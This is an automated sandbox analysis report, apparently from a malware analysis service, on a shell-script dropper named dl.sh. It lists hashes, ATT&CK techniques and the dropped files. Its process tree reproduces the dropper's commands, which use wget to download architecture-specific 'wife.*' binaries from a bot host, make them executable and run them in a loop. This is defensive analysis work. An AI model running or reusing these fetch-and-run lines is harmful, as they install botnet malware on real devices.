78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a

Analysis

max time kernel
18s
max time network
23s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2026, 12:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 1000B
Sample261027-pbb8ladd84
SHA256 78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a
MD5 e4477d69b3c6037a9749fd054f9bd286
SHA1 f8341e0bae369c816f39f67caae08f769d6791d1
SHA512 9b3a1ec1634e80f54f0f8a16d8c882eee42f9b6c8eedd4e1c3150f65b6db1d68c7673fea86d11907860aa1168e4b1cf1be1d04fa407acda02ea2770006da1473
TLSH
T1141178F1FC7180A5768D843EA69F01D276825C6F50897E0A342FD8A26B5C294F09D273
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
834	chmod
774	chmod
779	chmod
784	chmod
794	chmod
822	chmod
734	chmod
753	chmod
763	chmod
769	chmod
789	chmod
807	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/var/tmp/.xt	735	dl.sh
/var/tmp/w	754	dl.sh
/var/tmp/w	764	dl.sh
/var/tmp/w	770	dl.sh
/var/tmp/w	775	dl.sh
/var/tmp/w	780	dl.sh
/var/tmp/w	785	dl.sh
/var/tmp/w	790	dl.sh
/var/tmp/w	795	dl.sh
/var/tmp/w	809	dl.sh
/var/tmp/w	824	dl.sh
/var/tmp/w	836	dl.sh

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-9.dat	upx

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	w

System Network Configuration Discovery 1 TTPs 11 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
773	wget
778	wget
800	wget
768	wget
783	wget
788	wget
793	wget
813	wget
828	wget
742	wget
758	wget

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
PID:724
- /bin/uname
  uname -m
  2⤵
  PID:726
- /bin/chmod
  chmod +x .xt
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /var/tmp/.xt
  ./.xt
  2⤵
  PID:735
- /bin/rm
  rm -f .xt
  2⤵
  PID:738
- /bin/rm
  rm -f w
  2⤵
  PID:740
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /var/tmp/w
  ./w
  2⤵
  PID:754
- /bin/rm
  rm -f w
  2⤵
  PID:756
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /var/tmp/w
  ./w
  2⤵
  PID:764
- /bin/rm
  rm -f w
  2⤵
  PID:767
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.x86_64
  2⤵
  - System Network Configuration Discovery
  PID:768
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /var/tmp/w
  ./w
  2⤵
  PID:770
- /bin/rm
  rm -f w
  2⤵
  PID:772
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.aarch64
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /var/tmp/w
  ./w
  2⤵
  PID:775
- /bin/rm
  rm -f w
  2⤵
  PID:777
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips64
  2⤵
  - System Network Configuration Discovery
  PID:778
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /var/tmp/w
  ./w
  2⤵
  PID:780
- /bin/rm
  rm -f w
  2⤵
  PID:782
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.arm7
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /var/tmp/w
  ./w
  2⤵
  PID:785
- /bin/rm
  rm -f w
  2⤵
  PID:787
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.arm6
  2⤵
  - System Network Configuration Discovery
  PID:788
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /var/tmp/w
  ./w
  2⤵
  PID:790
- /bin/rm
  rm -f w
  2⤵
  PID:792
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.arm5
  2⤵
  - System Network Configuration Discovery
  PID:793
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /var/tmp/w
  ./w
  2⤵
  PID:795
- /bin/rm
  rm -f w
  2⤵
  PID:799
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.arm4
  2⤵
  - System Network Configuration Discovery
  PID:800
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /var/tmp/w
  ./w
  2⤵
  PID:809
- /bin/rm
  rm -f w
  2⤵
  PID:812
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:813
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /var/tmp/w
  ./w
  2⤵
  PID:824
- /bin/rm
  rm -f w
  2⤵
  PID:827
- /usr/bin/wget
  wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.mpsl
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /var/tmp/w
  ./w
  2⤵
  - Reads runtime system information
  PID:836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.xt

Path /var/tmp/.xt
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

.xt

Path /var/tmp/.xt
Size 17B
SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
MD5 33e4fd94e2560e008e2c3b431d0e3419
SHA1 504519c842b7202250315ef562069e4ce10da99c
SHA512 69f097faa9ccb981e78c3a914ad68a51771637d9aecd2dbc807003ac30663e6d921091a48ff529dfff27a6cd55b0808f91683118acf7acdf406d37266e622b17
MD5 SHA1 SHA512

Submit Download

Path /var/tmp/w
Size 82KB
SHA256 bf608842ce97f22097acba6405cccc095b84cfe65854e21ae65764aea545c8ae
MD5 d7b7c371ea623c7955219b9a03d5bb01
SHA1 6e20dcde347b158bf09fc1dc6b1c8194b54933ea
SHA512 ea2fe3a7ddcee26e317b973e7062afb8a57b46e04d0cbdaea769b230900f0a99e764a2e8d94fd3619c3a10e94ab3190f831aab56c3876c5af6d5f48869f36177
SSDEEP 1536:HnB4MYkzHLifwi+VCVFjIdGjsu90DGEOCkBDQ4VEW39q:HrLiYBVCVFjqPOzPBM4VEaq
TLSH
T1F883023C33476DD4D986487915B4B3F9FC212BB3F10E50291E04A3A8685575EB2CABDE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 75KB
SHA256 1abf6f8b0d3e4b7fa86102bd400e91b0933e0d0dcaf90c11f91e6397e9661633
MD5 991a9281588262e068a8f8a6dd0cf8ca
SHA1 329e1333e63ef3dea2645120851102e8dcf1caeb
SHA512 c9aff41aa7ac2a7ecd79db4776703b6e01bb2a67dbf43c691d5ae78885906c9c72d281c1f578f5e6bf4cdd75d4f68464b09d0ad2737969850dba7eae09239b4f
SSDEEP 1536:wo0YiMwySW4OxWS/kGk0PZH0wgz7htlPsmKwCeh:wo5i7VzXl0Ns7l0dsh
TLSH
T1F5730273F05BE1E9CED22D321965268D7DF05C1E88346B8B0F5720BA18B65E0786AE06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 79KB
SHA256 c2246563b2f7806e6d032d6c85bb44d7369499055aa6b5bc890ffc27668c30f7
MD5 3ffd5b440d249ca49f6d4724e4c77ea5
SHA1 4997bb63952e51ef4c9946622ca95c8dfe97f12e
SHA512 6be54db8f4b406f8b6061b48d09e834c63812cf8f65fac40980fcaf898c16a56e37579c894c2e8f6b0a1ea43660d4ff2a76a3905da1db68526f05fabaecceb55
SSDEEP 1536:4yot8q7u5/xlvO1nc4jVGKw8BHpcrif+JSj1xgPY9rJ/EhpTSOQ7:not/KJXWZckFTc2+61uYJ/EhpA
TLSH
T15C83025207A9964EC8C08FB40A22C79692D3B2E1C5BBB1335DA0F1F0DF526516C3DE3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 251KB
SHA256 4a7b5120ffa9e5cb934d2ef7181d13e492db275b7d11318dbff712b68276434f
MD5 dc4ade125f8a2a21e3111b1a1ff9a147
SHA1 84700378be80bb291d4dc7fb043513428ae08188
SHA512 37d7bdb81bee41b33d1092daf64b7904dc07c5e810ba8e4999e53b17d6a60dba4ee5e1c4292eaccb14083a9b831e675a3699a933bc04002bb41cb2e44fe068d0
SSDEEP 6144:1byFBeYvsIErFkEU98Wmqz8RXmf/WwcXtx1HH:ZydsjFc98WmqYd+/Wwytx1n
TLSH
T1F9444C5173869AA3DA1951708EF3C3387AE836121667C94BE37B5B2C0E665F67C1CEC0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 83KB
SHA256 dd46e2a73401f061ceac94d341f3ae96a63a2a7f6f2458ea367e862c75183588
MD5 3219d123af353e652851dde5dec51495
SHA1 afd468fe6f9fa491d3a2acfde4735951e4aece1f
SHA512 815ef6dbc982abed8d5bdf7ca16a00b8b8b808d0f98e39bb77977ee8bc07ea565f6113475b69f9ee7ef47001d1d90d7d3465c6b0ea53d06ae1b3d977e967c912
SSDEEP 1536:aMtpl7xm8TXFKzxx2Q9q3WA0vWnORyYSwOIGl4ax7e4+VLEAyeciK1yvKNrz0:aml7M12aKgWORyY3OIGdx7+RjY3r4
TLSH
T16A8302CF84C8BD45E5EC593D868EABDA05E28805E3175B5633B18DC80B9A9A13C791BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads